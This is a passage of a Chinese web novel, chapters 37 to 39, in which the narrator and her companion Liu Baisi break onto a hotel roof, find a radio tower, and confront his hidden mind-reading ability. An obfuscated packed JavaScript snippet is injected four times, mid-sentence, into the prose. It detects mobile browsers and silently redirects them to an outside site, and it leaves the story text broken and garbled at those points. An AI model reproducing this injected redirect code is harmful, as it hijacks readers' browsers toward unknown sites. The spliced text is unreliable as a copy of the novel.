他脸上的狂喜之色简直要满溢而出了,迫不及待地拿起来放到掌心细细端详。这话虽然听上去像疑问句,但我明白他只是想得到一颗定心丸而已。 “是自然金,可能会有些杂质,你看能用吗?虽然没有铜,但金想必会是更好的选择。” 之前为了测试所谓的“异能”是否真实存在,我消耗了一本大部头。本以为只是白白浪费,我还很痛心来着,没想到变出来的东西竟然在这里派上用场了。 “当然能用,我现在就可以开始着手制作端子!不过这仍然需要一段时间。夏,你之前去过楼上,天台有没有应急通信设备?比如写着‘SOS’或‘Emergencmunication’的字样,很明显的,一般不难找。” 阴翳一扫而空,沃克一高兴,嘴皮子上下一碰,语气都加速出残影,跟机关枪似的,哒哒哒哒哒哒,我都险些跟不上。 “呃……” 但遭这么一问,我瞬间感到十分难为情,看来沃克他们做得比我多多了,“我还没来得及去六楼天台,在摆脱了五楼的袭击之后,我就先回来了。” 甚至把受伤的莫莉独自一人忘在了五楼,为此,我还情绪失控地扇了柳白巳一巴掌。 唉,我对不起她。也对不起他。 “好吧。” 一听我这么说,沃克的嘴唇立即抿成了一条直线,我将这表情自动解读为“虽然对于这样的办事效率非常不满意,但基于眼下状况却又不得不暂时忍住”。如果我是他的下属,可能早就被他炒鱿鱼了。 所以别摆出这副让我愧疚心爆棚的表情啊!这下我对不起的人又多了一个。 一定是感染让我的脑子变钝了。 “不过,我想我们依旧有足够的时间,因为端子不可能马上制作完成,手工磨制可是一项不小的工程,即使它是比铜柔软许多的金……更何况还要考虑到工业标准化的问题。 “材料有限,我必须打起十二分精神来应对。” 听着他这番话,不合时宜地,我心里却突然冒出个想法: 得亏沃克活到了现在,不然,我们根本无法以这种方法逃出酒店。 倘若换成莱特、换成莫莉,抑或是伊丽莎白,换成他们三个其中一个人,我们还能逃出去吗? “好,那我们就去整理一下手头的物资,先不打扰你了,期待你的好消息。” “等一等,夏,有一件事,也希望你们去做。” 我带着柳白巳正要走,却忽然被沃克叫住。 “可以先去看看楼顶有没有无线电发射器吗?如果没有,等我恢复了电力系统,再想想有什么别的方法联系外界。” 这要求听起来合情合理。我点点头,“那我们这就去。” 为沃克准备好防护用具后,时间已趋近中午,楼顶一定光线充足,这时上去再好不过。 柳白巳果然又非要跟着我。跟就跟呗,随他,况且我也找不出拒绝的理由。 “我觉得沃克其实并不像他所说的那么在乎戴利。” 柳白巳一边走一边说。 说来也怪,这几天我从没见过他在我面前动过一口食物,却依旧精力充沛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609696|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那些食物我计算过,只够勉强满足我们的生理需求,我每一餐都吃不饱,有气无力的,肚子无时无刻不在咕咕作响——毕竟之前我可是一盘接一盘烤牛肉地吃的!骤然面对如此落差,胃当然会抗议。 尤其是切得薄薄的烤牛舌,嫩嫩的不会难嚼,喷香的牛油被烤出来,滋滋作响,夹起一片放进嘴里,味蕾全都欢欣雀跃地骤然苏醒—— 对不起,眼下想这些实在太不合时宜,肚子更饿了。 但是,如果……应该就够了。 不、不,她现在还重伤卧床,我不能这么想。那样实在太不道德了。而且我本来就有愧于她。 我甩甩头,竭力甩掉那些令我自己都大吃一惊的想法,把注意力转移到他所说的话上,接口道:“此话怎讲?” 柳白巳定定地看着我,好一阵才道:“玩家载入游戏后,原本的面貌不会发生改变,而是被游戏自动认定为角色的长相。 “也即小夏你长什么样,侦探就长什么样;我长什么样,戴利就长什么样。” 我说:“但你现在只有发色和瞳色发生了改变……” 而且还做了女装打扮。 虽然他今天为了方便活动,穿的是一身飒爽的劲装,但过去几天可没少穿各种漂亮的小裙子。 一套套穿搭非常适配娴熟……我都怀疑他是否有女装癖了。 当然,我只是在心里想想,没把这句话说出口。 而且就算有也无伤大雅。 “对,问题就出在这里。” 柳白巳点点头,“我根本没有改变自己的样貌,但沃克竟然完全没认出来。基于这一点,他说的所有话,都得打个问号。” 他言之有理。 如今的我已经恢复了不少记忆,曾经就有一件事跟这很相似: 我大一大二期间的寒暑假会飞回国内考驾照,考科目一时偏不巧感冒了,所以那天把自己从头到脚武装得严严实实的,脸上也戴着口罩。 但没想到我都穿成这样了,竟然还能被一高中同学认出来。我很高兴地问他怎么看出来是我,结果他的回答却打了我个措手不及—— 他说:“你的眉眼,我这辈子都不可能会认错。” 傻子才听不出来这是在表白吧?吓得我赶紧打马虎眼,含含糊糊地揭过去了。 这事我还没跟萧鸮她们说,但我完全可以预想到告诉她们后的结果: 此后我们一旦聊起高中时的八卦,提起他,马上就会有人来一句“听说眉眼哥也在异能管理局高就”“嗨别提了,眉眼哥早就被贬去外地了”之类云云……光是想想我就想笑。 咳咳,言归正传。 所以倘若沃克真如向我们坦白的那样,宁可搞外遇都不想破坏自己在戴利心中的完美形象,宁可杀人都不能让戴利知道自己出轨一事——要是在乎到这种程度,怎么可能仅仅只是改变着装,他就认不出自己爱人的脸了? 难道柳白巳的女装真的天衣无缝? 因此我同样点点头。 我只是觉得,如果不刻意去怀疑“黛西”的性别,除了一些异常以及惊人的美貌外,她看起来完全就是一名正常的女性;但如果知道了他是男性,再一回想那些异常,就茅塞顿开了。 然而一时半会儿都没听到柳白巳再吭声,好像突然饿晕过去似的。 37. 萨普莱斯(2) NO 孩子静悄悄,必定在作妖。 我转向他,却见他眉眼沉沉,脸色冷厉,黑红双眸黯淡无光,嘴角紧紧地抿得平直,脸也拉得老长,任谁看都是一副心情不佳的样子。 这又是咋了? 唉,要不怎么说男人的心情是七月的天,说变就变。 我也懒得理他,现在正事要紧。 再往上,楼梯间尽头是一扇簇新的钢制防火门,想必门后就是天台了。 门上又挂着一把大锁,锁孔并未锈住,且附近有一些划痕,应该是客房部的工作人员需要上天台晾晒床品及毛巾、浴袍等其它布草,所以会经常进出。 但为了防止一些不必要的意外,比如有客人专程来此跳楼之类的(真别说,这样的事其实不少),平时还是严防死守地锁上了。 我掏出之前用过的万|能|钥|匙,捣鼓半天,左拧右拧,就是打不开。 也对,要是这锁能轻易打开,酒店的入住率肯定居高不下,专门开房自杀的人其实数量不少。 幸好我早有准备,又取出一本书。 “你不好奇,我的异能究竟会有什么效果吗?” 本来不知为何,柳白巳非要背对着我站着,一副专心面壁思过的样子。听了这话,总算愿意转过来给我个正眼了,只是仍旧不说话,只轻微地点了两下头,脑后的高马尾随之甩起细碎弧度。 哎呦,一会儿没看住,眼圈又红了。我到底哪里让他受委屈了?我也没干什么吧! 还是希望他能识大体一点,毕竟我现在真的没空哄他。 我闭上眼,在心里仔仔细细地,将液压钳的模样临摹了一遍又一遍。 “《机械设计手册》,盛枞,3018。” 即使合着眼,我仍然能看见异能发动时,绿光透过薄薄的眼皮在视网膜上留下的残像,宛如为我播放了一场光怪陆离的电影。 睁开眼,就见柳白巳一脸错愕地看看我,复又低头—— 看向我手里的液压钳。 “这就是你的异能吗?” 他喃喃道,仿佛精神受到了极大的冲击。 “啊,是。你很意外?跟你们的比起来,是不是没有那么神通广大?” 我已经在动手剪锁了,浑身的力气都狠狠压在那把锁上,恨不能整个人都飞起来,牙关也因此咬得死紧,就好像他的话让我产生了极大的恨意,所以不得不像这样咬牙切齿地回答。 该死,我的虎口都要裂了,这锁怎么死活剪不动! 这看上去明明只是一把普通的挂锁! “我来吧。” 柳白巳把我挤到一旁,接过液压钳,手背青筋霎时根根暴起,狰狞可怖——我分明瞧见他的腮帮子鼓起一瞬,定睛再一看,又放松下来了,快得仿佛只是我眼花。 “好了。”柳白巳一扬手,空中登时划出一道完美的抛物线,砰地砸进角落里的杂物堆中,激起惊涛骇浪,“进去吧。” “我的液压钳呢?” 我被灰尘呛得咳嗽,摊开的手掌朝他眼皮子底下一伸,跟他要我的液压钳。 那可不是普通的液压钳——至少把它变出来的那本书,不是普通的书。 柳白巳一僵,一时间连自己还在跟我怄气也忘了,“你还要那把液压钳吗?我不知道……已经弄坏了……” “你跟个液压钳发什么脾气?!让你不爽的人是我,有什么气就冲着我来!” 我又气又急,噔噔噔跑下楼梯,从覆满尘埃的杂物堆里捡起坏掉的锁头和液压钳,看清它们模样的那一刻,眼眶都瞪得生疼—— 液压钳被整个儿生生捏弯、扭曲变形成麻花不说,锁更是被绞得几乎像一片芝士那样薄,扁成一团,完全看不出来原先的样子。 要是柳白巳开家糍粑店,单凭这一身劲儿,绝对能将每一块糍粑都打得柔软Q弹,赚得盆满钵满。 不对,跑题了。 总之,这绝对不是人能拥有的力量。 要知道,液压钳的钳头和液压缸可是高强度合金钢做的,压扁一块1毫米厚的钢板所需要的力,相当于一辆小汽车压在人类手上的重量——这家伙竟然能把锁头连带液压钳一块儿弄坏,肉体凡胎根本不可能拥有这样的肌肉强度! 他到底是什么东西? 我再次回忆起他用来捆小鬼孩的那根皮绳——通体银白,遍布散发着邪异气息的鳞纹,虽然纤细得可能都没有一根小指粗,但偏偏就是能将力大无穷的非人怪物绑得结结实实,丝毫挣脱不开。 而且在这连根意大利面都找不到的酒店——哦不对,第一天餐桌上就有意大利面,莱特还挺喜欢的。 哎呀,反正我是想说,在这间酒店里,一根绳子也极难找到的地方,我们连临时给门把手扎上,都得抽自己的鞋带,他从哪儿找来的质量这么好的绳子? 第三天时,除了我们有意把“年老体衰”的伊丽莎白单独留下来,所有人都出动去找食物和其它资源了。在那之前,他是真的没听到敲门声吗? 等等,如果齐柏林结在我们回来之前,还好好扎在门把手上的话…… 那柳白巳,究竟是怎么进入楼梯间的? 一刹那我心跳如擂鼓。正不知该如何应对时,一道平直板正的阴影密不透风地斜斜覆盖下来—— 是那扇门被打开了。 “小夏?你快来看,好像真的有无线电发射器!” “啊,就来。”我赶紧应了一声。 起得太快,体位性低血压犯了,眼冒金星,视野中阵阵发黑。我赶紧半撑着膝盖,缓了缓,等恢复了平衡后,才重新站直身体。 门外极空旷,是水泥地,一些早已风化的废弃桌椅横七竖八倒在地上,都快看不出原本的颜色了,脆弱得踢一脚就能散架。也许AnyoneHotel以前计划在天台搞露天酒吧、露天泳池一类的休闲设施,但最终放弃了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609697|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 锋利的狂风刮在脸上,刺得生疼。我环顾四周,竟没找见柳白巳的身影。 然而绕过这堵墙,从未想过的庞然大物蓦然闯进我眼底—— 天空晦气沉沉,在其之下,高达数米的塔架泛着独属于金属的凛冽光泽,顶部被涂成亮眼的炽红色,明明是暖色调,却同样反射出硬质的冷光,并未因镀上一层红油漆就改变它的本质。 海风般腥咸的寒气侵入肺腑,舌尖残留着被冻住的刺痛——然而等我沉下心,再去将冷空气一点一点舔进嘴里,才发现自己其实并没有捕捉到它的气味。 这一切,纯粹只是我的臆想罢了。 疾风穿过塔身镂空,化作数缕,各自留下野兽般的尖啸,复又归于一体,归于平静,扬长而去。 我的头发也被拂乱,黑色发丝模糊了视线,模糊了我视野中不大不小、恰好占据焦点位置的柳白巳,和他身后的高塔。 柳白巳面对着我,一头长发不知何时已散开,凌乱地在风中狂舞,同样遮挡了他的面容。 我视野中的三分之二,已被这座铁塔霸道地占去了,就像芝麻被摆在西瓜面前、地球被摆在史蒂文森2-18面前,站在它身前的柳白巳因此显得尤为渺小。 而且衣着也不是显眼的亮色。 偏偏我第一眼只能聚焦于他。 “怎么样?” 柳白巳走近前来,风太大,他几乎是喊出声了,“沃克说的是这个吗?” 神智蓦然回笼。我抬头,顺着塔身望向塔顶—— 就高度来看,这座无线电发射器已经远远超出楼体所能承受的重量了,放在现实中,是绝对无法通过城建局审批的。 它的出现,无疑是为我敲响了一记警钟,警告我这里并非真实世界,切莫沉迷。 我再次意识到,自己的确越来越分不清现实与虚幻了。 “对,我们得找发射器。”我说。 发射器其实不难找,一般来说,哪儿不让靠近,就越有可能在那儿。 一走到塔下,"NOTRESPASSING(禁止擅入)"的字样立刻扑入眼帘,用亮黄色的荧光颜料涂在墙上,画了警示标志,而旁边就是一只挂壁式水泥灰箱子。 果然,这提示简直不要太显眼。 打开箱盖,数十个大大小小的各色按钮看得人眼花缭乱……我头一下子就大了,但想起自己正巧有台笔记本电脑,也许可以通过发射器本身的控制面板或接口连接笔记本电脑,把它当做外接控制设备来操作,这样就简便易操作了。 “好复杂……” 柳白巳显然是一丁点儿也看不进去,很苦恼地皱着眉头,眼神都发虚了,一副即将神游天外的样子。 “马上回去了。” 我合上箱盖,伸直腿站起来。 这次,世界在我眼里变成了万花筒,眼前又一阵天旋地转,视野猛然暗下来—— “小夏!” 38. 萨普莱斯(3) 一脸惊慌的柳白巳拼命向我跑来的动态画面残留在我的视网膜里。 要问为什么印象这么深刻? 那当然是因为太丑了啊。 人在奋力奔跑的时候,呼吸粗重、皮肤发红、脑袋肿胀、眼球鼓凸,肌肉绷得死紧,青筋全都暴起,似乎要破出薄薄的表皮,瞬间就大汗淋漓,整个表情是狰狞的,完全无法控制得住。 在我有限的记忆中,我从来没见过他这么丑这么狼狈的样子。 他在我面前哪一刻不是漂漂亮亮的?今天高马尾昨天麻花辫前天公主头,发型一天一变绝不重样不说,衣服鞋子发饰choker更是每一件每一双每一条都独一无二,穿过戴过就绝对不会再上身第二次。 现在跑成这样,恐怕连他亲娘都认不出来了。 “小夏!你醒醒!” 唇上有什么触感冰凉柔软的东西落下,嘶溜一声,两条果冻钻进我嘴里,舔舐了一下,口感很奇妙。 有吃的,我当然下意识一合齿关——它们竟然又退出去了! 还不等我气恼,一股气流已涌入口腔,随后就是人中处阵阵强烈的痛感。 我恍惚间想起来,他的十根指甲一般都修剪得很齐整,而且游离缘始终精准保持着仅仅长出甲床一毫米的长度,一双手修长白皙,手模看了都要自愧不如。 但眼下明显是顾不得太多了,掐得一下比一下重。 “小夏、小夏!” 他挨我挨得很近,一声紧跟着一声,说话间拂动的风挠得我耳廓痒痒的。 疼疼疼!别掐了别掐了!我马上就醒了! 仿佛声控似的,那股力道顿了顿,然后一下子就撤掉了。 嗯? 意识渐渐清明之际,啪嗒啪嗒,好像下雨了,一滴一滴水珠掉下来,脸上一片湿漉漉的,难受。 看样子已经下了一会儿。雨滴飘进我嘴里,咸的。 同时还有什么散发着香甜气息的东西触碰了一下我的嘴唇,硬硬的,有棱有角,似乎呈矩形棱柱状。 这是什么? 又是下意识地,我张嘴便咬,咔嚓一声,这回没扑空,啃下来一小块在嘴里,嚼嚼—— 巧克力棒?! 我霍地睁开眼,就见哭得梨花带雨的柳白巳正一手拿着拆开包装的巧克力棒往我嘴里塞,看不见的那只手揽在我背后,将我固定在他膝上。 虽然形容仍稍显狼狈,发丝散乱,碎发炸起,但方才的充血浮肿已然消退,此刻反倒有种丁香空结雨中愁的美。 不过现下,我管不了那么多了。 我要做个实验。 正好,嘴里干干的,巧克力嚼着嚼着又太腻,被唾液化开,直往上牙膛糊。我闭着嘴,很狼狈地用舌尖抠了几下,未果。 我心道:低血糖似乎缓解些了,不过好渴,要是有瓶水就更好了。 还没抱怨几句,下一刻,柳白巳已用另外两根手指夹着巧克力棒,左手把住矿泉水瓶身,右手旋开瓶盖,将瓶口凑到我嘴边。 都到这份儿上了,我还有什么不明白的? 委屈谁都不能委屈自己。我就着他的手,慢吞吞地汲了几口水,使劲地吞咽着,终于把口腔和喉咙里腻得发慌的感觉冲下去后,才慢慢坐起来。 周身力气也逐渐恢复了。我深吸一口气,按着掌心下硬邦邦的枪把,抬眼,逼视着他朦胧的泪眼—— “柳白巳。” “嗯?” 他迷茫地漏出一个单音,诡异艳丽的菱形红瞳隔着湿乎乎黏成两绺的眼睫毛对上我。 我伪装得很好,他应该还没发现我的真实意图。 “告诉我!” 千分之一秒之际,我猛地掏出枪,借着冰凉潮湿的枪身,感受着他额骨的硬度。 我甚至不需要闭上眼,就能想象出,铜色子弹砰一声飞射而出,击穿他的颅骨,在他眉心留下一枚艳色弹孔的画面。 世人皆知,观世音菩萨的额心有一枚象征智慧和觉悟的观音痣——那即将出现在他额心的枪痣,又代表着什么呢? 隐瞒、欺骗和罪孽吗? “你能读心,是吗?” 我冷声喝问,看着柳白巳渐渐惨白了一张如玉观音面,血红瞳孔几乎缩成针尖,嘴唇也受了极大震撼似的颤抖着,甚至脸上的泪痕还未干,就又添了新的湿迹。 不能再这样下去了。 甲尖狠狠地刺入掌心皮肤,我仓皇错开他凄然含泪的眼睛,狠下心,枪管顶了顶他额头,无声催促他做出回答。 “说话!” 其实根本无需他亲口承认,只要稍一回想,其中端倪再明显不过: 头天我刚在心中对莫莉的香水赞不绝口,第二天他就也喷了香水前来用餐,还因为不懂得该如何使用,弄巧成拙,呛得连一向只用眼神表达不满的伊丽莎白都忍不住出言责难他。 以及,在我口渴得要命、却被伊丽莎白非要拉住说话之时,他偏巧就善心大发,为我送来了及时雨,仿佛从头到脚换了个人,全然忘记自己昨天是如何对我冷嘲热讽。 如果一次两次是巧合,那么第三次呢? 我可不会因为当下的一点小恩小惠,就忘记他刚才莫名其妙给我甩脸子看。 但是一结合上下文,再加入“柳白巳能读心”这一假设,也就不难还原出他为何生气了—— 他窥见了我的心理活动,知道我刚刚回忆了一件被告白的往事。 即使此刻,我人就在他身侧。 如果真的恰巧到一定程度,一次两次三次都只是不谋而合,我都不禁想赞一句,我们两人真是心有灵犀不点就通—— 那么第四次呢? 就发生在此时此刻的第四次呢? 倘若他真的能读心,那么,以上这些话,即使我不开口,他也该心知肚明了。 一秒、两秒、三秒…… 就在我第二次向他举枪的第四秒。 柳白巳果然动了。 他不紧不慢地旋上瓶盖,将其放在一旁,完全视黑洞洞的枪口为无物。 这不免使我感到有些挫败:连枪也威胁不了他吗? 然而一想到这也不是第一次了,顿时又释然。 但我仍是十分疑惑:他好像总也不怕我的枪,到底为什么? 心念电转间,柳白巳又做出了下一个动作: 他直勾勾盯着我,修长手指无比灵活地一转——原先夹在无名指和中指间的巧克力棒登时被握在手心。 然后就着我咬了一口的巧克力棒,咔吧!恶狠狠用牙掰下来一块,喀嚓喀嚓,腮帮子一鼓一鼓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609698|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极大幅度地抽动着。 我盯着他那颗一上一下耸动着的唇边痣,不由得打了个寒战。 那架势,几乎是把巧克力棒当成我在咀嚼了,泄愤一般,一口一口嚼得很是用力。 “盛夏。” 他连“小夏”也不叫了。 柳白巳含糊不清地说:“我有时候在想,你这个人的心肠,是不是真的是用铁石做的。 “我为你做了那么多,你全当做看不见吗? “以前的事就不说了,你现在失忆,跟你翻旧账没有意义。” 说话间,他的喉结很明显地滚动得很频繁,应该只是在使劲吞下黏得足以糊人上牙膛的巧克力吧。 不过,如果只是这样的话,他脸上为什么越来越湿润? 而且他虽然边吃边说,但我留意到,他总是先吞干净了才开口,很小心地不让我看到他满嘴食物残渣的丑态。 “喷香水也好,递牛奶也罢,就算我擅自听了你的心声,可你扪心自问,我有没有做过一件对你有害的事……” 他自己不会擦眼泪么? 我有些看不下去,但却不得不拼命说服自己不要动摇,表面上还要装出一副耐心的样子,打断他的诡辩:“对,问题就在这里,你也说了是‘擅自’。对于你来说,这是你的能力,无论使用它行善还是作恶,全都只在你一念之间;但对于我来说,要冒着被窥探心声的风险,去赌你的真心抑或恶意,坦白说,我赌不起。” 而且谁说没有对我做过有害的事?刚才拉个臭脸给谁看呢?你的心是肉长的,会伤心,我的心难道就不是肉长的了吗? 言归正传,异能只是工具,本身并没有对错之分,全看它的拥有者如何去使用它。 世间万物都是如此,譬如数字“4”“13”,由于谐音或宗教渊源的缘故,在一些传统的观念中被认为不祥。 又如儒家文化中有“恶紫夺朱”一说,认为紫色代表不正、邪僻;然而在西方文化中,紫色因其原料稀少、价格高昂,所以往往象征着财富和权力,甚至向来与贵族和皇室紧密联系在一起。 说到底,这些客观事物本身并没有什么意义和含义,所谓的正统、幸运、不祥、高贵等等,全是人为赋予的罢了。 再者,难道有歹徒持刀砍伤了人,却要把罪名安在刀的头上吗? 站在我的角度,使我感到恐慌的,其实也并不是他的异能如何,而是他的异能会如何。 他会用自己的异能来做什么? 以及他嘴上说着“都告诉你”,却始终露一半藏一半的行为。 就像一只生出自我意识的滑动变阻器,在我以为一切准备就绪、尽在掌握,终于可以擦把汗休息一会儿时,又自己偷偷调大了数值,给我增加解题难度。 自始至终,我想要的,只是足够的坦白和安全感罢了。 因为我讨厌失控。 “我明白了。” 那双红瞳闪烁一瞬,被摄像头所监视的发毛感再度油然而生。 如果不是要保持持枪威慑的动作,我都想腾出手来搓胳膊上的鸡皮疙瘩。 柳白巳注视着我,叹了一口气,垂下眼帘,头上仿佛有隐形的耳朵跟着耷拉下来。 “是我不好,没有考虑到那么多,毕竟已经过去了两年……” 39. 萨普莱斯(4) 嗯?这话说的,我倒不明白了。 那个失忆之前的我,和他之间,到底还有多少故事?能让他如此怀念? 一想到这,我胸口就发闷,如同堵着一团湿乎乎的棉花似的,上也不是,下也不是。 是我的错觉吗? 明明我也是一方当事人,明明此刻的我和他面对面——身体与身体之间的空隙连一个人也容不下,可每当我想要伸出手去触碰,却又总是隔着一层纱。 “我的异能效果还有一项:在发动期间,若其它异能者处于以自身为圆心、半径一米的范围内,我就能听到对方的心声。” 还好只有一米,否则,我们的房间仅仅相隔一堵墙,我可不想连梦话也被他听去。 虽然我们已经同床共枕过了,这庆幸略显苍白。 “这回——”这回真的没有了? “还有一条。” 如果没记错的话,这是他第一次打断我,“所有身处于我异能领域的异能者,都能被我精准锁定位置。” 原来如此,难怪我在五楼被那小鬼头袭击的时候,他能第一时间赶来—— 不对。 在此之前,他又去了哪里呢? 在无法乘坐电梯的情况下,也只能是四楼了吧,否则不可能那么快赶来。 何况六楼的门又锁着。总不能是未卜先知,预先就在五楼埋伏好了?就为了关键时候出手,骗取我的信任? 那不可能。他怎么知道我一定会上楼,而不是下楼? 再说了,要是我并未像打开潘多拉魔盒那样,打开504的房门,他根本就没机会出现。 思忖间,我们已从地上站起,收拾妥当,慢慢往回走。 我早就将贝雷塔妥善地贴身收好,当时还特意与他相隔一米。柳白巳又恢复了老样子,见我避着他,幽怨的眼神简直快把我身上烧出一个洞来了。 仿佛我们之间的那些隔阂从来不存在。 同样的,我也没告诉他,其实刚才,我根本没拉开保险栓。 “对,由于一些私人原因,在感知到你有危险之前,我一直待在自己的房间里,没有出去过。” 他肯定了我的推测。有意思的是,即使我并未开口说话,仅仅是脑海中冒出了一个想法,他就能迅速接口。 这样是很方便没错,但一来二去,我也实在忍不住想抱怨:“你这技能是主动的还是被动的?” 能不能关了?不做亏心事,不怕鬼敲门,所以我并不忌惮他窥视,但他话多,真的很影响我思考。 柳白巳很委屈地一瘪嘴,但最终还是什么都没说,先是闭上眼几秒钟,然后才示意我去看他的双眼。 我径直望向他眼底——菱红瞳孔荡然无存,虹膜竟然已转为纯黑色的了! 等等—— 我正待抽身离开,却又敏锐捕捉到一线红色,于是忙不迭凑上去抓着他的肩膀,一手牢牢扶住他的脸,愈发凑近了细看: 原来并未完全消失,只是变成了一条明亮的酒红色光带,需要在特定角度才能发现,然而一走进暗处,就像两个激光大灯泡,跟猫眼似的布灵布灵。 这是否意味着,他对我关闭了一部分的异能? 那也就是说,对于NPC而言,他们其实是无法看到他的红瞳的? 难怪造型大师莱特和时尚顾问伊丽莎白都没有为他转身。 当然,他们现在就算想转身也不行了——呃,我不是故意要讲地狱笑话的。 我感觉很新奇,情不自禁地,上身左右晃动,观察光带在不同方向上的变化,玩得浑然忘记时间。柳白巳也很宽容地由着我来,过了好一会儿,我才听他期期艾艾道:“小、小夏……” “怎么了?”我与他四目相对,顿时惊觉掌心下的温度怎么这么烫手? 视线再往下滑,就见他一向温度极低的脸颊,又烧起了熟悉的绯色。 “我蹲不住了……”他这才弱弱地说。 “嗯?哈哈哈哈……” 我完全忘记了他是半蹲着让我看的这件事,冷不丁被提醒,顿时拍着他的肩膀,直笑得前俯后仰。 心里某处死死打上的结,也蓦然一松。 为什么要一味介怀过去呢? 那不也是我吗? 至于失去的记忆,想必脱离副本之后,自然而然就能想起来了吧。 我的心态是极光明的,自然也希望这不单单只是我乐观的一厢情愿。 我们原路返回,途径五楼,氧化后的大片血泊已变为棕褐色的污渍,泥沼般散发出腐败的难闻气味。 我本是随意瞥了一眼,转身就要走,却忽然想起与莫莉上来那日,如果她还没来得及搜查,就遭到了怪物的袭击,那么另一侧的房间物资应该还未被收集吧? 要是有更多食物,我们的日子就不用过得这么紧巴巴了,饥一顿饥一顿的。我没记错的话,低血糖也会引发体位性低血压晕厥的。 思及此,我扯扯他:“柳白巳。” “嗯?” 柳白巳驻足,纳闷地溢出一个单音。 “你能打开这些房间的门吗?我想找找看还有没有剩余的食物。” “诶?可我……” 我本以为这对他来说是小事一桩,可他支支吾吾半天,就是不肯松口。 我搞不明白他到底在矫情个什么劲,直截了当地问:“你怎么进的伊丽莎白房间?没有用万能房卡之类的么?” 看样子,我总算问了一个他能答得上来的问题—— 柳白巳即答:“没有哦。” 再多的,就不肯交代了,只说跟异能无关,也不知道还藏着掖着什么。 这小子,不会又在逗我玩吧? 但总不能拿枪再指他一次,到时候指不定还得心碎成什么样。 再说了,光举枪不射击,一两次还好,一旦被他看出我没有攻击意图,威慑力就会大打折扣。 所以我寻思着,让他主动回答不行,那就玩海龟汤,我来提问,他只需要点头或摇头,这总可以了吧? 我是这么想的,也就这么跟他说了,岂料柳白巳一听我要跟他玩游戏,兴奋得双眼放光,那两条酒红色亮带藏都藏不住,跟条小狗似的围着我左问右问。 “海龟汤是什么?是要抓海龟来做汤的意思吗?我早就想和你一起做饭了!能不能不要叫上沃克,不想喊他玩儿。” 给他误打误撞说对了,这游戏的起源还真是一碗海龟汤。我忍不住笑话他:“你当这是斗地主吗?” 奇怪,海龟汤不是近几年兴起的游戏吗?怎么看他的反应,像完全没听说过一样。 虽然他问的这几个问题已经初具海龟汤雏形了。 不过他还挺聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609699|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,一了解了规则,就知道不能让我无止境地问下去,所以和我约定好,只能问五个问题! 一旦超过五个,他就不给反应了。 很好,想要挑战一下我的智商吗?我欣然接受挑战。 首先我得明确自己的目标: 在五个问题之内,尽可能弄清楚柳白巳是怎么在没有使用万能房卡、并且不惊动伊丽莎白的前提下,进入她房间“打招呼”后,全身而退。 双方准备就绪,游戏开始! 第一个问题,我问:“你是使用了某种工具或手段进入房间的吗?” 既然没用异能,我想试探他是不是撬锁进去的。 但实际上我心里不是很抱期望,因为撬锁进去——听上去也太简单太低级了。 原以为柳白巳会很果断地说“是”或“不是”,没想到他抿着嘴,眼珠子转了半圈,才很犹豫地点点头。 这是什么情况? 用就是用,没用就是没用,为什么还要思考一下? 这其中一定有端倪。 第二个问题,我踌躇片刻,问:“伊丽莎白回房前,你就已经进过402了吗?” 这个问题是想推算一下他进入案发现场的时间点。我当然知道他是在第三天以前就完成了这项任务,但具体是在哪一时间段呢? 除了用餐时间,伊丽莎白一定会离开房间,他还能趁着什么时候进入402? 岂料这次柳白巳给我的反应更是奇怪——他先是摇摇头,一对细眉都皱成倒八字,然后很为难地,又点点头。 “你真的没有把我在当猴耍吗?” 我眉头一定皱得能夹死苍蝇了。 “真实情况就是这样的嘛。”他很无辜地眨巴眨巴大眼睛。 第三个问题:那是在她回房之后进的? 柳白巳听罢,邪魅一笑,说:“这是第三个问题了哦。” 而后故技重施,小鸡啄米样,点头又摇头—— 神经病,他一定是在把我当猴耍! 出去以后一定要把他手机里的霸总小说全删了,学学学,学得面相都变了。 我沉下脸,说:“不许撒谎。” “冤枉啊!” 柳白巳又嫣然一笑,跟条水蛇一样,手臂柔若无骨地缠上来,那股好闻的草木清香也跟着缠上来,缓缓萦绕在我周身。 